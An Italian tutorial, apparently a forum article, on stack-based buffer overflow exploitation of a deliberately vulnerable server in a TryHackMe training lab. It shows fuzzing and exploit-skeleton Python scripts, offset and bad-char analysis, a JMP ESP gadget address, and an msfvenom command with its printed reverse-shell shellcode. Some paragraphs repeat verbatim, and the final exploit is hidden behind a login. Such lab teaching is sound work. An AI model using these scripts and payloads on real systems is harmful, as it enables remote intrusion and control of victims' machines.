Ultima modifica:
In questo articolo introdurremo i concetti e le risorse fondamentali per introdurre la materia della binary exploitation ed exploitare una classica vulnerabilità Stack based Buffer Overflow su sistemi x86-32, partendo dalla fase di discovery fino alla scrittura dell'exploit finale.
Exploit Development 101: Stack Based Buffer Overflow (x86-32)
1 Introduzione
In questa guida affronteremo i concetti e gli step fondamentali per approcciarsi al mondo della binary exploitation e dell'exploit development, prendendo in esempio un caso pratico di Buffer Overflow su un sistema x86 a 32 bit (per semplicità di spiegazione), analizzandone cause e problematiche, dalla fase di discovery fino alla programmazione dell'exploit finale.Per binary exploitation si intende l'analisi e la ricerca di vulnerabilità all'interno di software compilati (in gergo "binari"), sia in ambiente Windows che in ambiente Linux, con lo scopo di sfruttarle per eseguire codice arbitrario.
Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions. -
- ctf10, Binary Exploitation Overview
La binary exploitation viene anche comunemente chiamata "pwn", soprattutto nell'ambito delle CTF e delle challenge online.
Nell'esempio di oggi utilizzeremo un laboratorio specifico su TryHackMe, chiamato "Buffer Overflow Prep", con cui andremo ad analizzare una classica vulnerabilità Stack-based Buffer Overflow su un sistema Windows 7 a 32-bit. "Perché un sistema così vecchio e obsoleto?" vi starete chiedendo. Perché nel corso del tempo le architetture sono diventate sempre più complesse e hanno implementato meccanismi di protezione sempre più avanzati. Per introdurre la materia a un neofita è fondamentale mantenere i concetti il più chiaro e semplice possibile, per cui utilizzare degli esempi "old school" per confrontarli successivamente con i programmi attuali e le rispettive differenze è la scelta migliore, sia per mantenere gli esempi e i concetti "puliti", sia perché come diceva Tucidide “Bisogna conoscere il passato per capire il presente e orientare il futuro”.
Nell'esempio di oggi utilizzeremo un laboratorio specifico su TryHackMe, chiamato "Buffer Overflow Prep", con cui andremo ad analizzare una classica vulnerabilità Stack-based Buffer Overflow su un sistema Windows 7 a 32-bit. "Perché un sistema così vecchio e obsoleto?" vi starete chiedendo. Perché nel corso del tempo le architetture sono diventate sempre più complesse e hanno implementato meccanismi di protezione sempre più avanzati. Per introdurre la materia a un neofita è fondamentale mantenere i concetti il più chiaro e semplice possibile, per cui utilizzare degli esempi "old school" per confrontarli successivamente con i programmi attuali e le rispettive differenze è la scelta migliore, sia per mantenere gli esempi e i concetti "puliti", sia perché come diceva Tucidide “Bisogna conoscere il passato per capire il presente e orientare il futuro”.
1.1 Pre-requisiti e riferimenti
Per motivi riguardanti tempistiche e lunghezza dell'articolo, in questa guida verrà data per scontata la conoscenza pregressa relativa a concetti di base sul funzionamento della CPU, della memoria e dei registri, alla sintassi del linguaggio Assembly, ai fondamenti della programmazione in Python e all'utilizzo base dei tools per l'analisi di sicurezza.
Tali concetti possono essere appresi in autonomia tramite le seguenti risorse interne:
I 15 migliori libri per studiare l'Ethical Hacking e Penetration Testing nel 2022
In questo articolo scopriremo quali sono i 15 libri più indicati per lo studio e l'approfondimento delle tematiche di ethical hacking, penetration testing, reverse engineering ed exploit development nel 2022. Web Hacking Hacklog Vol.2 - Web Hacking Questo secondo capitolo della serie...
www.inforge.net
Cosa studiare per imparare l'Hacking e diventare un Ethical Hacker
In questo articolo affronteremo gli step necessari per iniziare un percorso da Ethical Hacker, quali tematiche studiare, su quali risorse documentarsi e dove fare pratica. Imparare l'hacking e diventare un Ethical hacker Tempo di lettura stimato: 10 minuti Perchè nasce questa guida Noob...
www.inforge.net
Tutti gli strumenti necessari per il Reverse Engineering
Elenco dei migliori tools e strumenti maggiormente usati per il reverse engineering. Per ogni tool è presente il download per scaricarlo o il riferimento al sito ufficiale del tool. Debugger, Disassembler e Decompiler Ghidra https://ghidra-sre.org Ghidra è uno strumento di reverse...
www.inforge.net
Il Linguaggio Macchina della CPU 8086
Il Linguaggio Macchina (Parte 1) Marco (DispatchCode) C. Cos'è il codice macchina? Codice macchina ed assembly sono la stessa cosa? Come interpreta la istruzioni la CPU? Credo che a molti di voi sia prima o poi accaduto di pensare a come la CPU interpreta le istruzioni, a cos'è il codice...
www.inforge.net
e tramite le seguenti risorse esterne:
CPU - Wikipedia
it.wikipedia.org
Registro (informatica) - Wikipedia
it.wikipedia.org
Memoria (informatica) - Wikipedia
it.wikipedia.org
Pila (informatica) - Wikipedia
it.wikipedia.org
Buffer overflow - Wikipedia
it.wikipedia.org
Siccome utilizzeremo un laboratorio online su TryHackMe sarà necessario disporre inoltre di un account sulla suddetta piattaforma (è sufficiente il piano gratuito) e un client RDP (eg. xfreerdp o rdesktop) per collegarsi alla macchina remota. Nel mio caso userò xfreerdp e il comando per collegarsi al lab. una volta avviata un'istanza dell'ambiente sarà
xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /workarea
2 Processo di Exploitation
Una volta avviata un'istanza del lab e collegatosi in remoto, siamo pronti ad iniziare il processo di exploitaion. Per la durata di questo articolo il nostro target sarà il software OSCP.exe contenuto all'interno della cartella vulnerable-apps/oscp, ma sentitevi liberi di attaccare in autonomia qualsiasi altro binario contenuto all'interno della VM.
2.1 Discovery
Per "fase di discovery" si intende il lasso temporale in cui il programma viene reversato, analizzato, studiato e testato alla ricerca delle vulnerabilità contenute in esso. Durante la fase di discovery l'obiettivo è cercare di capire la logica del programma, aiutandosi anche con strumenti di reverse engineering in modo da ottenere del codice leggibile, capire come questo si comporti e cercare di farlo crashare, sia tramite attività manuale (avendo studiato come funziona il binario sarà più facile romperlo), sia tramite fuzzing.
Per questo esempio utilizzeremo un approccio completamente blackbox (cioè senza avere informazioni sul binario o sul codice sorgente), fuzzando direttamente il programma senza provare prima a reversarlo. Nei prossimi esempi adotteremo invece un approccio più metodico, cercando di risalire a del codice leggibile.
Per fuzzare il programma dobbiamo prima però capire su quale porta stia ascoltando. Possiamo sia fare una scansione delle porte aperte, sia utilizzare
Per questo esempio utilizzeremo un approccio completamente blackbox (cioè senza avere informazioni sul binario o sul codice sorgente), fuzzando direttamente il programma senza provare prima a reversarlo. Nei prossimi esempi adotteremo invece un approccio più metodico, cercando di risalire a del codice leggibile.
Per fuzzare il programma dobbiamo prima però capire su quale porta stia ascoltando. Possiamo sia fare una scansione delle porte aperte, sia utilizzare
netstat
e fare un paragone delle porte aperte prima e dopo l'esecuzione del programma (il "pipe" dell'output del comando a findstr
serve per filtrare solo le porte in stato "LISTENING"):A quanto pare il server è in ascolto sulla porta 1337, proviamo a collegarci con
netcat
e verificare cosa succede se proviamo a mandare dei pacchetti:Ottimo, il server ci risponde! Ora possiamo interagire e cercare di farlo crashare in qualche modo. Visto che abbiamo deciso di approcciarci a questo programma in maniera completamente blackbox, dovremo affidarci a qualche sorta di fuzzer se vogliamo testare tutti i possibili comandi in un tempo ragionevole. Possiamo sia utilizzarne uno "custom" scritto a mano, sia utilizzare uno dei tanti tools esistenti.
NdR: Un fuzzer e tanto più efficace quanto più è variegato l'output che invia al programma da attaccare e quanto più è veloce. Un fuzzer che invia solo caratteri alfanumerici non è in grado di trovare tutte quelle vulnerabilità dovute a caratteri speciali e simboli, perciò cercate sempre di scegliere dei fuzzer il cui output comprenda il maggior numero di casistiche.
In questo caso utilizzeremo uno script in python3 che ci aiuti a fuzzare tutti i campi alla ricerca di un possibile crash. Lo script (molto rudimentale) è il seguente:
Python:
#!/usr/bin/env python3
import socket, time, sys
if len(sys.argv) < 4:
print("Usage: fuzz.py <ip> <port> <wordlist>")
sys.exit(1)
ip = sys.argv[1]
port = int(sys.argv[2])
wl = sys.argv[3]
timeout = 5
cmd_template = "OVERFLOW"
file = open(wl,"r") # w or r for string; wb or rb for bytes
for n in range(1,10):
cmd = cmd_template + str(n)
file.seek(0)
for fuzz in file:
payload = cmd + ' ' + fuzz
#print(f"[DEBUG] Payload: {payload}")
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print(f"Fuzzing {cmd} with {len(payload) - len(cmd) -1} bytes")
s.send(bytes(payload, "latin-1"))
s.recv(1024)
except:
print(f"Crashed using {payload} payload")
sys.exit(0)
Siccome ognuno dei comandi risulta essere vulnerabile a un diverso buffer overflow, nella seguente guida attaccheremo il comando
OVERFLOW5
.
Perfetto, abbiamo fatto crashare il programma e abbiamo trovato un possibile buffer overflow dovuto ad un input troppo grande (481 bytes). Cerchiamo ora di replicare il crash con un primo scheletro di exploit e verifichiamo di essere in grado di crashare il programma a piacimento.
2.2 Replicare il crash
Per replicare il crash in maniera costante e nel mentre iniziare a costruire il nostro exploit finale, possiamo creare un secondo script in python3 che ci aiuti nello scopo:
Python:
#!/usr/bin/env python3
import socket, sys
if len(sys.argv) < 3:
print("Usage: fuzz.py <ip> <port>")
sys.exit(1)
ip = sys.argv[1]
port = int(sys.argv[2])
crash = 481
cmd = "OVERFLOW5"
payload = cmd + " " + "A" * crash
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect((ip, port))
s.recv(1024)
print(f"Sending payload...")
s.send(bytes(payload, "latin-1"))
s.recv(1024)
except:
print(f"Crashed using {len(payload) - len(cmd) -1} bytes")
sys.exit(0)
Eseguendo lo script il programma sembra crashare "a comando":
Bene, ora dobbiamo capire se il crash è dovuto alla sovrascrittura dell'Instruction Pointer (il registro della CPU che indica quale istruzione leggere ed eseguire) o se il crash è dovuto ad altro. Per verificarlo dobbiamo utilizzare un apposito programma in grado di collegarsi al processo del software che vogliamo analizzare e che ci permetta di ispezionare la sua memoria e lo stato dei registri della cpu: il debugger.
Esistono moltissimi debugger differenti, sia su Windows che su Linux, ognuno dei quali ha pregi e difetti. Visto che su questa macchina virtuale è presente Immunity Debugger utilizzeremo questo programma, ma sentitevi liberi di esplorare tutti gli altri debugger esistenti, come per esempio il nuovo e potentissimo WinDBG.
Esistono moltissimi debugger differenti, sia su Windows che su Linux, ognuno dei quali ha pregi e difetti. Visto che su questa macchina virtuale è presente Immunity Debugger utilizzeremo questo programma, ma sentitevi liberi di esplorare tutti gli altri debugger esistenti, come per esempio il nuovo e potentissimo WinDBG.
Tutti gli strumenti necessari per il Reverse Engineering
Elenco dei migliori tools e strumenti maggiormente usati per il reverse engineering. Per ogni tool è presente il download per scaricarlo o il riferimento al sito ufficiale del tool. Debugger, Disassembler e Decompiler Ghidra https://ghidra-sre.org Ghidra è uno strumento di reverse...
www.inforge.net
NdR: Visto che i debugger operano con la memoria, la CPU, i registri e quant'altro, hanno sempre bisogno di privilegi elevati per funzionare correttamente. Ricordatevi quindi di eseguire sempre il programma come amministratore!
Per debuggare un programma abbiamo due strade: o lo eseguiamo direttamente tramite il debugger (dal menù File/Open) oppure facciamo l'attach del debugger ad un processo già in esecuzione (dal menù File/Attach).
A primo impatto Immunity (come qualsiasi altro debugger) è molto scoraggiante. Se vi sentite intimoriti da tutte queste informazioni incomprensibili mostrate dall'interfaccia, sappiate che è normale. Sebbene l'approfondimento dello strumento è al di fuori dello scopo di questa guida, è anche vero che senza conoscere come utilizzare o leggere i dati che ci mostra il debugger, risulta impossibile comprendere e analizzare cosa stia succedendo. Facciamo dunque un rapido excursus sull'interfaccia di Immunity.
- Il quadrante superiore sinistro mostra le istruzioni del programma in esecuzione, in linguaggio assembly. Qua è possibile navigare il codice del programma, leggerne le varie istruzioni e abilitare/disabilitare breakpoints agli indirizzi di memoria interessati.
- Il quadrante superiore destro mostra lo stato dei registri e il loro contenuto. Qua è possibile ispezionare e modificare in ogni momento dell'esecuzione il valore dei vari registri.
- Il quadrante inferiore destro mostra il contenuto e lo stato dello Stack.
- Il quadrante inferiore sinistro mostra la parte di memoria subito successiva a quella di codice.
Come possiamo notare dagli elementi evidenziati nell'immagine sopra, abbiamo riempito lo stack con dei dati a nostra scelta (tante "A", 0x41 in esadecimale), andando a sovrascrivere anche il registro EIP e facendo quindi crashare il server. Siccome la CPU utilizza il registro EIP per sapere quali istruzioni eseguire (la CPU esegue le istruzioni contenute all'indirizzo di memoria puntato da EIP), dal momento che EIP punta l'indirizzo di memoria 0x41414141, la CPU non trova istruzioni valide a quell'indirizzo e quindi crasha. Siccome però abbiamo sovrascritto EIP, significa che calcolando il giusto offset possiamo iniettare un indirizzo arbitrario all'interno di EIP e dirottare l'esecuzione del programma verso degli indirizzi di memoria a nostra scelta, facendogli sostanzialmente eseguire qualsiasi istruzione vogliamo!
2.3 Controllare l'Instruction Pointer
Per controllare in maniera regolare il contenuto di EIP abbiamo bisogno di calcolare quale sia il giusto offset all'interno del buffer per arrivare all'instruction pointer. Per farlo possiamo generare un pattern univoco e controllare quale sia il contenuto di EIP una volta crashato il programma. Calcolando la distanza del contenuto di EIP rispetto all'inizio del pattern, dovremmo essere in grado di identificare il corretto offset per controllare EIP.
Esistono diverse utilities che permettono di generare tali pattern:
Esistono diverse utilities che permettono di generare tali pattern:
msf-pattern_create
, direttamente dalle utilities di Metasploit, cyclic
, un particolare modulo di pwntools, addirittura alcuni siti online come il seguente. Scelto il nostro strumento, generiamo il pattern della lunghezza desiderata, ricordandoci comunque di utilizzare una lunghezza sufficiente per crashare il server.
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-pattern_create -l 481
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9A
Aggiorniamo ora il nostro exploit, assicuriamoci di riavviare il programma che abbiamo precedentemente fatto crashate, facciamo l'attach di Immunity al processo ed inviamo nuovamente la richiesta:
$ python3 exploit.py 10.10.214.42 1337
Python:
...
cmd = "OVERFLOW5"
#payload = cmd + " " + "A" * crash
payload = cmd + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9A"
...
Possiamo vedere come nello Stack sia ora presente il nostro pattern di caratteri e come EIP contenta adesso una sequenza di bytes univoci. Utilizziamo ora un qualsiasi strumento per calcolare la distanza della sequenza univoca (0x356B4134) dall'inizio del nostro pattern. Nell'esempio seguente utilizzeremo la controparte di msf-pattern_create:
msf-pattern_offset
.
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-pattern_offset -l 481 -q 356B4134
[*] Exact match at offset 314
Perfetto, sappiamo ora che il pattern contenuto in EIP è distante esattamente 314 caratteri dall'inizio del buffer. Ciò significa che se dopo 314 caratteri inseriamo un indirizzo arbitrario, questo finirà all'interno di EIP, permettendoci di controllare il registro a nostro piacimento e di conseguenza controllare il comportamento dell'intero programma. Verifichiamo subito che l'offset sia giusto modificando nuovamente il nostro exploit (ricordiamoci di riempire sempre il buffer in modo tale che il programma vada in crash!):
Python:
...
crash = 481
offset = 314
EIP = "BBBB"
cmd = "OVERFLOW5"
payload = cmd + " " + "A" * offset + EIP + "C" * (crash - offset - 4)
...
Lanciamo ora il nostro exploit e controlliamo se all'intero di EIP è presente "BBBB" (0x42424242).
Ci siamo! EIP contiene il valore arbitrario che abbiamo inserito all'interno dell'exploit! Ciò significa che siamo in pieno controllo di EIP e che possiamo reindirizzare l'esecuzione del programma a nostro piacimento! Non ci resta altro da fare che identificare gli eventuali bad-chars, iniettare il nostro shellcode e costringere il programma ad eseguirlo!
2.4 Ricerca dei bad-chars
Cosa sono i bad-chars? Sono particolari bytes, diversi in ogni programma, che "rompono" o alterano uno shellcode, rendendolo inutilizzabile. I bad-chars dipendono dalle istruzioni utilizzate dal programma, per cui l'unico modo per identificarli è quello di piazzare tutti i possibili bytes all'interno dello Stack e analizzare quali di essi si comportino diversamente dal resto. Un bad-char molto noto, per esempio, è il terminatore di stringa
Inseriamo dunque un elenco di bad-chars all'interno del nostro exploit, in modo che vengano poi inseriti nello Stack per ulteriori analisi con Immunity:
0x00
poiché utilizzato da molte istruzioni come carattere per indicare la fine di una stringa. Se tale byte dovesse trovarsi a metà di uno shellcode, molto probabilmente lo "spezzerebbe" in due.Inseriamo dunque un elenco di bad-chars all'interno del nostro exploit, in modo che vengano poi inseriti nello Stack per ulteriori analisi con Immunity:
Python:
crash = 481
offset = 314
EIP = "BBBB"
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
cmd = "OVERFLOW5"
payload = cmd + " " + "A" * offset + EIP + badchars + "C" * 100
A questo punto dovremmo avere tutti i possibili bytes all'interno dello stack. Grazie ad un plugin di Immunity già installato in questa VM, chiamano
mona
, possiamo utilizzare il comando !mona bytearray -b "\x00"
per generare nella VM una sequenza di bytes come quella iniettata nello Stack (1) e comparare quindi le due sequenze (2), tramite il comando !mona compare -f bytearray.bin -a <address>
, in cerca di un disallineamento. Il primo punto in cui troviamo una differenza tra le due sequenze significa che è presente un bad-char, il quale dovrà quindi venir rimosso dalle due sequenze.
Come mostrato in figura, il primo disallineamento è presente per il bytecode
0x16
, che all'interno dello Stack è rimpiazzato con un 0x0a
. Ottimo, abbiamo trovato il primo byte-code! Rimuoviamolo sia dalla sequenza di bytes nell'exploit, sia dal bytearray tramite il comando !mona bytearray -b "\x00\x16"
e ripetiamo il processo finché le due sequenze non corrispondono.
Arrivati qui, abbiamo l'elenco completo dei bad-chars per questa funzione (
\x00\x16\x2f\xf4\xfd
), dunque siamo pronti a genere uno shellcode valido. Dobbiamo solo più capire in quale punto dello Stack ci conviene piazzarlo, dopodichè avremo tutto il necessario per scrivere il nostro exploit conclusivo ed ottenere una shell.2.5 Ricerca di una zona in cui iniettare lo shellcode
Siamo quasi pronti, dobbiamo solo più trovare dove piazzare il nostro shellcode. Potremmo provare a metterlo "a caso" nello Stack e provare ad indovinare l'indirizzo di memoria corretto, ma ciò non renderebbe il nostro exploit attendibile, garantendo chance di successo troppo basse. Dobbiamo trovare invece un modo consistente che ci permetta di puntare con il 100% di sicurezza il nostro shellcode. Diamo quindi un'ulteriore occhiata allo stato dei registri al momento del crash del programma:
Sia il registro
EAX
che il registro ESP
, al momento del crash, puntano indirizzi di memoria all'interno dello Stack. Il primo punta esattamente all'inizio del nostro buffer, perciò per saltare dentro allo shellcode dovremmo aggiungere almeno 10 bytes all'indirizzo di memoria (in modo da saltare dopo il comando "OVERFLOW5 "). Il secondo invece punta esattamente dentro il nostro buffer di badchars, per cui se rimpiazzassimo quei bytes con il nostro shellcode, potremo usare ESP come "trampolino" (tecnicamente chiamato gadget) in modo da saltare all'indirizzo da lui puntato e atterrare quindi dentro lo shellcode.Il payload risulterebbe quindi simile al seguente:
"OVERFLOW5 " + PADDING + EIP + SHELLCODE + FILLER
Per fare ciò, però, dobbiamo prima trovare un gadget che ci permetta di utilizzare ESP come punto di riferimento. In assmbly esistono diverse istruzioni che permettono di saltare direttamente ad un indirizzo di memoria, come per esempio
JMP
o CALL
. Il nostro obiettivo è trovare un'istruzione all'interno del binario o delle librerie caricate da esso che ci permetta di "saltare dentro ESP" (JMP ESP
). Usando msf-nasm_shell
o rasm2
possiamo convertire in bytecode l'istruzione che ci interessa, dopodiché possiamo utilizzare nuovamente mona per cercarla all'interno del binario.Convertiamo in bytecode l'istruzione
jmp esp
:
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
Analizziamo tutti i moduli importati del programma con il comando
!mona modules
e cerchiamone una senza protezioni:Cerchiamo infine con il comando
!mona find -s "\xff\xe4" -m <nome_modulo> -cpb '\x00\x16\x2f\xf4\xfd'
il bytecode che ci interessa, escludendo con i flag -cpb
tutti gli indirizzi contenenti dei bad-chars:oscp.exe non contiene l'istruzione che ci interessa, ma essfunc.dll ne contiene ben 9. Siccome la .dll non implementa nessun meccanismo di protezione, gli indirizzi di memoria saranno sempre gli stessi, per cui scelto un indirizzo potremo usare sempre quello senza preoccuparci di ricalcolarlo. Nel mio caso utilizzerò
Perfetto, a questo punto abbiamo anche l'indirizzo di JMP ESP, che nel nostro exploit prenderà il posto di EIP (vogliamo che EIP punti all'indirizzo di JMP ESP in modo tale che quando poi lo esegue salti sempre dentro il nostro shellcode, in maniera costante). Manca solo più generare lo shellcode e siamo pronti!
0x625011AF
.Perfetto, a questo punto abbiamo anche l'indirizzo di JMP ESP, che nel nostro exploit prenderà il posto di EIP (vogliamo che EIP punti all'indirizzo di JMP ESP in modo tale che quando poi lo esegue salti sempre dentro il nostro shellcode, in maniera costante). Manca solo più generare lo shellcode e siamo pronti!
2.6 Generazione dello shellcode
Arrivati qui possiamo decidere se utilizzare uno shellcode già esistente dai db più famosi, come per esempio shell-storm, o se generarci il nostro shellcode custom. In linea di massima è sempre preferibile generarsi lo shellcode in autonomia, in modo da avere il maggior controllo possibile sul suo contenuto e sui bad-chars da evitare, per cui utilizziamo
msfvenom
per aiutarci nell'intento. Usiamo come payload una generica reverse shell stageless per windows, il flag -b <bytes>
per specificare l'elenco di bad-chars da evitare, -f py
per specificare il formato python ed EXITFUNC=thread
per cercare di non crashare il programma all'uscita della shell:
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=10099 -f py -b "\x00\x16\x2f\xf4\xfd" EXITFUNC=thread -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
...
Payload size: 353 bytes
Final size of py file: 1990 bytes
shellcode = b""
shellcode += b"\xfc\xbb\x71\xdf\x87\xbd\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x8d\x37\x05\xbd\x6d\xc8\x6a\x37"
shellcode += b"\x88\xf9\xaa\x23\xd9\xaa\x1a\x27\x8f\x46\xd0"
shellcode += b"\x65\x3b\xdc\x94\xa1\x4c\x55\x12\x94\x63\x66"
shellcode += b"\x0f\xe4\xe2\xe4\x52\x39\xc4\xd5\x9c\x4c\x05"
shellcode += b"\x11\xc0\xbd\x57\xca\x8e\x10\x47\x7f\xda\xa8"
shellcode += b"\xec\x33\xca\xa8\x11\x83\xed\x99\x84\x9f\xb7"
shellcode += b"\x39\x27\x73\xcc\x73\x3f\x90\xe9\xca\xb4\x62"
shellcode += b"\x85\xcc\x1c\xbb\x66\x62\x61\x73\x95\x7a\xa6"
shellcode += b"\xb4\x46\x09\xde\xc6\xfb\x0a\x25\xb4\x27\x9e"
shellcode += b"\xbd\x1e\xa3\x38\x19\x9e\x60\xde\xea\xac\xcd"
shellcode += b"\x94\xb4\xb0\xd0\x79\xcf\xcd\x59\x7c\x1f\x44"
shellcode += b"\x19\x5b\xbb\x0c\xf9\xc2\x9a\xe8\xac\xfb\xfc"
shellcode += b"\x52\x10\x5e\x77\x7e\x45\xd3\xda\x17\xaa\xde"
shellcode += b"\xe4\xe7\xa4\x69\x97\xd5\x6b\xc2\x3f\x56\xe3"
shellcode += b"\xcc\xb8\x99\xde\xa9\x56\x64\xe1\xc9\x7f\xa3"
shellcode += b"\xb5\x99\x17\x02\xb6\x71\xe7\xab\x63\xd5\xb7"
shellcode += b"\x03\xdc\x96\x67\xe4\x8c\x7e\x6d\xeb\xf3\x9f"
shellcode += b"\x8e\x21\x9c\x0a\x75\xa2\xa9\xc2\xcc\xc3\xc6"
shellcode += b"\xd0\x2e\x03\x64\x5c\xc8\x21\x9a\x08\x43\xde"
shellcode += b"\x03\x11\x1f\x7f\xcb\x8f\x5a\xbf\x47\x3c\x9b"
shellcode += b"\x0e\xa0\x49\x8f\xe7\x40\x04\xed\xae\x5f\xb2"
shellcode += b"\x99\x2d\xcd\x59\x59\x3b\xee\xf5\x0e\x6c\xc0"
shellcode += b"\x0f\xda\x80\x7b\xa6\xf8\x58\x1d\x81\xb8\x86"
shellcode += b"\xde\x0c\x41\x4a\x5a\x2b\x51\x92\x63\x77\x05"
shellcode += b"\x4a\x32\x21\xf3\x2c\xec\x83\xad\xe6\x43\x4a"
shellcode += b"\x39\x7e\xa8\x4d\x3f\x7f\xe5\x3b\xdf\xce\x50"
shellcode += b"\x7a\xe0\xff\x34\x8a\x99\x1d\xa5\x75\x70\xa6"
shellcode += b"\xc5\x97\x50\xd3\x6d\x0e\x31\x5e\xf0\xb1\xec"
shellcode += b"\x9d\x0d\x32\x04\x5e\xea\x2a\x6d\x5b\xb6\xec"
shellcode += b"\x9e\x11\xa7\x98\xa0\x86\xc8\x88\xa0\x28\x37"
shellcode += b"\x33"
Ci siamo, abbiamo il nostro payload già in formato python3 pronto per essere utilizzato! Non ci resta altro da fare che inserirlo nell'exploit e lanciarlo per ottenere una reverse shell!
2.7 Stesura dell'exploit finale
Perfetto, abbiamo tutto ciò che ci serve e abbiamo anche già una bozza di exploit. Aggiungiamo innanzitutto il nostro shellcode. E' buona norma aggiungere come commento il comando utilizzato per generare la sequenza di bytes, per cui aggiungetelo. Siccome stiamo usando python3, è fondamentale che prima di ogni bytes sia presente la lettera b (b"\xcc\xbb\xaa", per esempio), altrimenti tali caratteri verrebbero interpretati come caratteri ascii anzichè come rispettivi raw-bytes, rompendo lo shellcode. Per essere sicuro di non corrompere lo shellcode ho aggiunto un NOP-sled di 32 bytes prima di esso (\x90), in modo da creare uno scivolo di istruzioni nulle (nop significa proprio no-operation, 0x90 non fa nulla se non far avanzare di un byte l'istruction pointer). In questo modo lo shellcode ha 32 bytes di spazio antecedente a se stesso in caso dovesse eseguire una decodifica dei propri caratteri (capita che i payload encodati si corrompano da soli nel processo di decoding proprio perchè non hanno abbastanza "spazio di manovra" per piazzare la stub di decodifica). Infine ho usato il modulo struct per allineare l'indirizzo EIP secondo il sistema little endian
L'exploit finale risulta essere quindi il seguente:
Per vedere questo contenuto, devi Accedere o Registrarti.
Non ci resta altro da fare che lanciarlo e catturare la nostra reverse shell!
3 Conclusioni
